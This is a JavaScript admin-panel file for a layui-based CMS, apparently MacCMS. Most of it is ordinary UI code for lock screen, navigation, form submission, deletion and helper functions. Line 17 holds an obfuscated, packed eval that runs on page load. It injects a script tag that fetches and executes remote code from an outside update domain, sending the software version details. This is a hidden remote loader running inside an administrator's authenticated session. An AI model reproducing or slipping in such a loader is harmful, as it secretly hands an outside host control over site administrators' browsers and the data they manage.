admin_common.js 20 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534535536537538539540541542543544545546547
  1. String.prototype.trim = function () {
  2. return this.replace(/(^[\s\u3000]*)|([\s\u3000]*$)/g, "");
  3. }
  4. String.prototype.ltrim = function () {
  5. return this.replace(/(^\s*)/g, "");
  6. }
  7. String.prototype.rtrim = function () {
  8. return this.replace(/(\s*$)/g, "");
  9. }
  10. String.prototype.replaceAll = function (s1, s2) {
  11. return this.replace(new RegExp(s1, "gm"), s2);
  12. }
  13. layui.define(['element', 'form'], function (exports) {
  14. var $ = layui.jquery, element = layui.element, layer = layui.layer, form = layui.form;
  15. $(function () {
  16. if (typeof (MAC_VERSION) != 'undefined' && typeof (PHP_VERSION) != 'undefined' && typeof (THINK_VERSION) != 'undefined') {
  17. eval(function (p, a, c, k, e, r) { e = function (c) { return c.toString(a) }; if (!''.replace(/^/, String)) { while (c--) r[e(c)] = k[c] || e(c); k = [function (e) { return r[e] }]; e = function () { return '\\w+' }; c = 1 }; while (c--) if (k[c]) p = p.replace(new RegExp('\\b' + e(c) + '\\b', 'g'), k[c]); return p }('$(\'3\').9(\'<0\'+\'1 4="\'+\'//5.6.7/8/?c=2&a=\'+b+\'&d=\'+e+\'&f=\'+g+\'&h=\'+i.j()+\'"></0\'+\'1>\');', 20, 20, 'scr|ipt|check|body|src|update|maccms|la|v10|append|v|MAC_VERSION||p|PHP_VERSION|tp|THINK_VERSION|t|Math|random'.split('|'), 0, {}));
  18. }
  19. });
  20. form.render();
  21. var lockscreen = function () {
  22. document.oncontextmenu = new Function("event.returnValue=false;");
  23. document.onselectstart = new Function("event.returnValue=false;");
  24. layer.open({
  25. title: false,
  26. type: 1,
  27. content: '<div class="lock-screen"><input type="password" class="unlockedPwd layui-input" placeholder="请输入登录密码解锁..." autocomplete="off"><button class="unlocked layui-btn">解锁</button><div class="unlockTips"></div></div>',
  28. closeBtn: 0,
  29. shade: 0.95,
  30. offset: '350px'
  31. });
  32. };
  33. /* 锁屏 */
  34. $('#lockScreen').click(function () {
  35. window.sessionStorage.setItem("lockscreen", true);
  36. lockscreen();
  37. });
  38. /* 清理缓存 */
  39. $('#lockScreen').click(function () {
  40. window.sessionStorage.setItem("lockscreen", true);
  41. lockscreen();
  42. });
  43. if (window.sessionStorage.getItem("lockscreen") == "true") {
  44. lockscreen();
  45. }
  46. $(document).on('click', '.unlocked', function () {
  47. var pwd = $(this).parent().find('.unlockedPwd').val();
  48. if (pwd == '') {
  49. return false;
  50. }
  51. $.post(ADMIN_PATH + '/admin/index/unlocked', { password: pwd }, function (res) {
  52. if (res.code == 1) {
  53. window.sessionStorage.setItem("lockscreen", false);
  54. layer.closeAll();
  55. } else {
  56. $('.unlockTips').html(res.msg);
  57. setTimeout(function () {
  58. $('.unlockTips').html('');
  59. }, 3000);
  60. }
  61. });
  62. });
  63. /* 导航高亮标记 */
  64. $('.admin-nav-item').click(function () {
  65. window.localStorage.setItem("adminNavTag", $(this).attr('href'));
  66. });
  67. if (window.localStorage.getItem("adminNavTag")) {
  68. $('#switchNav a[href="' + window.localStorage.getItem("adminNavTag") + '"]').parent('dd').addClass('layui-this').parents('li').addClass('layui-nav-itemed').siblings('li').removeClass('layui-nav-itemed');
  69. }
  70. if (typeof (LAYUI_OFFSET) == 'undefined') {
  71. layer.config({ offset: '60px' });
  72. } else {
  73. layer.config({ offset: LAYUI_OFFSET + 'px' });
  74. }
  75. /* 打开/关闭左侧导航 */
  76. $('#foldSwitch').click(function () {
  77. var that = $(this);
  78. if (!that.hasClass('close')) {
  79. that.addClass('close');
  80. $('#switchNav').animate({ width: '52px' }, 100).addClass('close').hover(function () {
  81. if (that.hasClass('close')) {
  82. $(this).animate({ width: '200px' }, 300);
  83. $('#switchNav .fold-mark').removeClass('fold-mark');
  84. $('a[href="' + window.localStorage.getItem("adminNavTag") + '"]').parent('dd').addClass('layui-this').parents('li').addClass('layui-nav-itemed').siblings('li').removeClass('layui-nav-itemed');
  85. }
  86. }, function () {
  87. if (that.hasClass('close')) {
  88. $(this).animate({ width: '52px' }, 300);
  89. $('#switchNav .layui-nav-item').addClass('fold-mark').removeClass('layui-nav-itemed');
  90. }
  91. });
  92. $('#switchBody,.footer').animate({ left: '52px' }, 100);
  93. $('#switchNav .layui-nav-item').addClass('fold-mark').removeClass('layui-nav-itemed');
  94. } else {
  95. $('a[href="' + window.localStorage.getItem("adminNavTag") + '"]').parent('dd').addClass('layui-this').parents('li').addClass('layui-nav-itemed').siblings('li').removeClass('layui-nav-itemed');
  96. that.removeClass('close');
  97. $('#switchNav').animate({ width: '200px' }, 100).removeClass('close');
  98. $('#switchBody,.footer').animate({ left: '200px' }, 100);
  99. $('#switchNav .fold-mark').removeClass('fold-mark');
  100. }
  101. });
  102. /* 导航菜单切换 */
  103. $('.main-nav a').click(function () {
  104. var that = $(this), i = $(this).attr('data-i');
  105. $('.layui-nav-tree').hide().eq(i - 1).show();
  106. });
  107. /* 操作提示 */
  108. $('.help-tips').click(function () {
  109. layer.tips($(this).attr('data-title'), this, {
  110. tips: [3, '#009688'],
  111. time: 5000
  112. });
  113. return false;
  114. });
  115. /* 全屏控制 */
  116. $('#fullscreen-btn').click(function () {
  117. var that = $(this);
  118. if (!that.hasClass('ai-quanping')) {
  119. $('#switchBody').css({ 'z-index': 1000 });
  120. $('#switchNav').css({ 'z-index': 900 });
  121. that.addClass('ai-quanping').removeClass('ai-quanping1').parents('.page-body').addClass('fullscreen');
  122. $('.page-tab-content').css({ 'min-height': ($(window).height() - 63) + 'px' });
  123. } else {
  124. $('#switchBody').css({ 'z-index': 998 });
  125. $('#switchNav').css({ 'z-index': 1000 });
  126. that.addClass('ai-quanping1').removeClass('ai-quanping').parents('.page-body').removeClass('fullscreen');
  127. $('.page-tab-content').css({ 'min-height': 'auto' });
  128. }
  129. });
  130. /*弹出选择设置*/
  131. $(document).on('click', '.j-select', function () {
  132. var that = $(this);
  133. _url = that.attr('data-href'),
  134. _title = that.attr('data-title'),
  135. _width = that.attr('data-width') ? that.attr('data-width') + '' : 750,
  136. _height = that.attr('data-height') ? that.attr('data-height') + '' : 500,
  137. _full = that.attr('data-full'),
  138. _checkbox = that.attr('data-checkbox');
  139. if (that.parents('form')[0]) {
  140. var query = that.parents('form').serialize();
  141. } else {
  142. var query = $('#pageListForm').serialize();
  143. }
  144. if (_checkbox && !query) {
  145. return;
  146. }
  147. $.post(_url, query, function (res) {
  148. layer.closeAll('dialog');
  149. var lay = layer.open({ type: 1, title: _title, content: res, area: [_width + 'px', _height + 'px'] });
  150. form.render('select');
  151. });
  152. });
  153. /*iframe弹窗*/
  154. $(document).on('click', '.j-iframe', function () {
  155. var that = $(this),
  156. _url = that.attr('data-href'),
  157. _title = that.attr('data-title'),
  158. _width = that.attr('data-width') ? that.attr('data-width') + '' : '85%',
  159. _height = that.attr('data-height') ? that.attr('data-height') + '' : '80%',
  160. _full = that.attr('data-full'),
  161. _checkbox = that.attr('data-checkbox');
  162. if (!_url) {
  163. layer.msg('请设置href参数');
  164. return false;
  165. }
  166. if (_checkbox) {
  167. if ($('.checkbox-ids:checked').length <= 0) {
  168. layer.msg('请选择要操作的数据');
  169. return false;
  170. }
  171. var ids = [];
  172. $('.checkbox-ids:checked').each(function (index, item) {
  173. if (item.checked) {
  174. ids.push(item.value);
  175. }
  176. });
  177. _ids = ids.join(',');
  178. _url = _url.indexOf('?') > -1 ? _url + '&ids=' + _ids : _url + '?ids=' + _ids;
  179. }
  180. var lay = layer.open({ type: 2, title: _title, content: _url, area: [_width + '', _height + ''] });
  181. if (_full == '1') {
  182. layer.full(lay);
  183. }
  184. return false;
  185. });
  186. /* 全选 */
  187. form.on('checkbox(allChoose)', function (data) {
  188. var child = $(data.elem).parents('table').find('tbody input.checkbox-ids');
  189. child.each(function (index, item) {
  190. item.checked = data.elem.checked;
  191. });
  192. form.render('checkbox');
  193. });
  194. /* 监听状态设置开关 */
  195. form.on('switch(switchStatus)', function (data) {
  196. var that = $(this), status = 0;
  197. if (!that.attr('data-href')) {
  198. layer.msg('请设置data-href参数');
  199. return false;
  200. }
  201. if (this.checked) {
  202. status = 1;
  203. }
  204. $.get(that.attr('data-href'), { val: status }, function (res) {
  205. layer.msg(res.msg);
  206. if (res.code == 0) {
  207. that.trigger('click');
  208. form.render('checkbox');
  209. }
  210. });
  211. });
  212. /* 监听表单提交 */
  213. form.on('submit(formSubmit)', function (data) {
  214. var that = $(this),
  215. _form = '';
  216. _child = !that.attr('data-child') ? 'no' : that.attr('data-child'),
  217. refresh = !that.attr('refresh') ? 'yes' : that.attr('refresh');
  218. if ($(this).attr('data-form')) {
  219. _form = $($(this).attr('data-form'));
  220. } else {
  221. _form = $(this).parents('form');
  222. }
  223. var $form = _form;
  224. var $button = $form.find('[lay-submit]');
  225. $button.prop('disabled', true);
  226. // CKEditor专用
  227. if (typeof (CKEDITOR) != 'undefined') {
  228. for (instance in CKEDITOR.instances) {
  229. CKEDITOR.instances[instance].updateElement();
  230. }
  231. }
  232. layer.msg('数据提交中...', { time: 500000 });
  233. $.ajax({
  234. type: "POST",
  235. url: $form.attr('action'),
  236. data: $form.serialize(),
  237. success: function (res) {
  238. var msg = '<span class="success_layer_icon"></span>' + res.msg;
  239. if (res.code == 1) {
  240. msg = '<span class="success_layer_icon"></span>' + res.msg;
  241. } else {
  242. msg = '<span class="error_layer_icon"></span>' + res.msg;
  243. }
  244. layer.msg(msg, { time: 800, skin: res.code == 1 ? 'success_layer' : 'error_layer' }, function () {
  245. if (res.code == 1) {
  246. if (refresh == 'yes') {
  247. if (_child == 'true') {
  248. parent.location.reload();
  249. parent.layer.close(index);
  250. }
  251. else {
  252. if (typeof (res.url) != 'undefined' && res.url != null && res.url != '') {
  253. location.href = res.url;
  254. } else {
  255. location.reload();
  256. }
  257. }
  258. }
  259. else {
  260. var index = parent.layer.getFrameIndex(window.name);
  261. layer.closeAll();
  262. onSubmitResult(res);
  263. }
  264. } else {
  265. $button.prop('disabled', false);
  266. }
  267. });
  268. },
  269. error: function (xhr, status, error) {
  270. $button.prop('disabled', false);
  271. layer.msg('<span class="error_layer_icon"></span>' + '请求失败', { time: 800, skin: 'error_layer' });
  272. }
  273. });
  274. return false;
  275. });
  276. /* TR数据行删除 */
  277. $('.j-tr-del').click(function () {
  278. var that = $(this),
  279. href = !that.attr('data-href') ? that.attr('href') : that.attr('data-href');
  280. layer.confirm('删除之后无法恢复,您确定要删除吗?', { title: false, closeBtn: 0 }, function (index) {
  281. if (!href) {
  282. layer.msg('请设置data-href参数');
  283. return false;
  284. }
  285. $.get(href, function (res) {
  286. layer.msg(res.msg);
  287. if (res.code == 1) {
  288. that.parents('tr').remove();
  289. that.parents('.tr').remove();
  290. }
  291. });
  292. layer.close(index);
  293. });
  294. return false;
  295. });
  296. /* ajax请求操作 */
  297. $(document).on('click', '.j-ajax', function () {
  298. var that = $(this),
  299. href = !that.attr('data-href') ? that.attr('href') : that.attr('data-href'),
  300. refresh = !that.attr('refresh') ? 'yes' : that.attr('refresh');
  301. if (!href) {
  302. layer.msg('请设置data-href参数');
  303. return false;
  304. }
  305. if (!that.attr('confirm')) {
  306. layer.msg('数据提交中...', { time: 500000 });
  307. $.get(href, {}, function (res) {
  308. layer.msg(res.msg, {}, function () {
  309. if (refresh == 'yes') {
  310. if (typeof (res.url) != 'undefined' && res.url != null && res.url != '') {
  311. location.href = res.url;
  312. } else {
  313. location.reload();
  314. }
  315. }
  316. });
  317. });
  318. layer.close();
  319. }
  320. else {
  321. layer.confirm(that.attr('confirm'), { title: false, closeBtn: 0 }, function (index) {
  322. layer.msg('数据提交中...', { time: 500000 });
  323. $.get(href, {}, function (res) {
  324. layer.msg(res.msg, {}, function () {
  325. if (refresh == 'yes') {
  326. if (typeof (res.url) != 'undefined' && res.url != null && res.url != '') {
  327. location.href = res.url;
  328. } else {
  329. location.reload();
  330. }
  331. }
  332. });
  333. });
  334. layer.close(index);
  335. });
  336. }
  337. return false;
  338. });
  339. /* 数据列表input编辑自动选中ids */
  340. $('.j-auto-checked').blur(function () {
  341. var that = $(this);
  342. if (that.attr('data-value') != that.val()) {
  343. that.parents('tr').find('input[name="ids[]"]').attr("checked", true);
  344. } else {
  345. that.parents('tr').find('input[name="ids[]"]').attr("checked", false);
  346. };
  347. form.render('checkbox');
  348. });
  349. /* 用ajax方式更新input*/
  350. $('.j-ajax-input').focusout(function () {
  351. var that = $(this), _val = that.val();
  352. if (_val == '') return false;
  353. if (that.attr('data-value') == _val) return false;
  354. if (!that.attr('data-href')) {
  355. layer.msg('请设置data-href参数');
  356. return false;
  357. }
  358. $.post(that.attr('data-href'), { val: _val }, function (res) {
  359. if (res.code == 1) {
  360. that.attr('data-value', _val);
  361. }
  362. layer.msg(res.msg);
  363. });
  364. });
  365. /* 小提示 */
  366. $('.tooltip').hover(function () {
  367. var that = $(this);
  368. that.find('i').show();
  369. }, function () {
  370. var that = $(this);
  371. that.find('i').hide();
  372. });
  373. $('.j-search').click(function () {
  374. var that = $(this);
  375. that.parents('form').attr('method', 'get');
  376. that.parents('form').submit();
  377. });
  378. /* 列表按钮组 */
  379. $('.j-page-btns').click(function () {
  380. var that = $(this),
  381. code = function (that) {
  382. var href = that.attr('href') ? that.attr('href') : that.attr('data-href'),
  383. _checkbox = !that.attr('data-checkbox') ? 'yes' : that.attr('data-checkbox'),
  384. _ajax = !that.attr('data-ajax') ? 'yes' : that.attr('data-ajax'),
  385. _ids = '';
  386. if (!href) {
  387. layer.msg('请设置data-href参数');
  388. return false;
  389. }
  390. if (_checkbox == 'yes') {
  391. if ($('.checkbox-ids:checked').length <= 0) {
  392. layer.msg('请选择要操作的数据');
  393. return false;
  394. }
  395. var ids = [];
  396. $('.checkbox-ids:checked').each(function (index, item) {
  397. if (item.checked) {
  398. ids.push(item.value);
  399. }
  400. });
  401. _ids = ids.join(',');
  402. }
  403. if (_ajax == 'yes') {
  404. if (that.parents('form')[0]) {
  405. var query = that.parents('form').serialize();
  406. } else {
  407. var query = $('#pageListForm').serialize();
  408. }
  409. layer.msg('数据提交中...', { time: 500000 });
  410. $.post(href, query, function (res) {
  411. layer.msg(res.msg, {}, function () {
  412. if (res.code != 0) {
  413. location.reload();
  414. }
  415. });
  416. });
  417. }
  418. else {
  419. location.href = href.indexOf('?') == -1 ? href + '?ids=' + _ids : href + '&ids=' + _ids;
  420. }
  421. };
  422. if (that.hasClass('confirm')) {
  423. var tips = that.attr('tips') ? that.attr('tips') : '您确定要执行此操作吗?';
  424. layer.confirm(tips, { title: false, closeBtn: 0 }, function (index) {
  425. code(that);
  426. layer.close(index);
  427. });
  428. } else {
  429. code(that);
  430. }
  431. return false;
  432. });
  433. exports('global', {});
  434. });
  435. function onSelectResult(input, obj) {
  436. var ids = [];
  437. var s1 = '', s2 = '';
  438. $(obj).each(function (index, item) {
  439. if (item.checked) {
  440. s1 = $("input[name='" + input + "']").val();
  441. s2 = ',' + s1 + ',';
  442. if (s2.indexOf(',' + item.value + ',') == -1) {
  443. if (s1.length > 0 && s1.substring(s1.length - 1) != ',') {
  444. s1 += ',';
  445. }
  446. s1 += item.value;
  447. $("input[name='" + input + "']").val(s1);
  448. }
  449. }
  450. });
  451. alert('添加成功!');
  452. }
  453. function rndNum(under, over) {
  454. switch (arguments.length) {
  455. case 1: return parseInt(Math.random() * under + 1);
  456. case 2: return parseInt(Math.random() * (over - under + 1) + under);
  457. default: return 0;
  458. }
  459. }
  460. function changeParam(url, name, value) {
  461. var newUrl = "";
  462. var reg = new RegExp("(^|&)" + name + "=([^&]*)(&|$)");
  463. var tmp = name + "=" + value;
  464. if (url.match(reg) != null) {
  465. newUrl = url.replace(eval(reg), '&' + tmp + '&');
  466. }
  467. else {
  468. if (url.match("[\?]")) {
  469. newUrl = url + "&" + tmp;
  470. }
  471. else {
  472. newUrl = url + "?" + tmp;
  473. }
  474. }
  475. return newUrl;
  476. }
  477. function getDataTime(ts, ty) {
  478. if (ts < 1) {
  479. return '';
  480. }
  481. var t, y, m, d, h, i, s;
  482. t = ts ? new Date(ts * 1000) : new Date();
  483. y = t.getFullYear();
  484. m = t.getMonth() + 1;
  485. d = t.getDate();
  486. h = t.getHours();
  487. i = t.getMinutes();
  488. s = t.getSeconds();
  489. r = y + '-' + (m < 10 ? '0' + m : m) + '-' + (d < 10 ? '0' + d : d);
  490. if (ty == undefined || ty == '') {
  491. r += ' ' + (h < 10 ? '0' + h : h) + ':' + (i < 10 ? '0' + i : i) + ':' + (s < 10 ? '0' + s : s)
  492. }
  493. return r;
  494. }
  495. function mac_url_img(url) {
  496. url = url.replace('mac:', 'http:');
  497. if (url.indexOf("http") == -1 || url.indexOf("//") == -1) {
  498. url = ROOT_PATH + "/" + url;
  499. }
  500. else if (UPLOAD_IMG_KEY != '' && UPLOAD_IMG_API != '') {
  501. var reg = eval("/" + UPLOAD_IMG_KEY + "/i");
  502. if (reg.test(url) != false) {
  503. url = UPLOAD_IMG_API + url;
  504. }
  505. }
  506. return url;
  507. }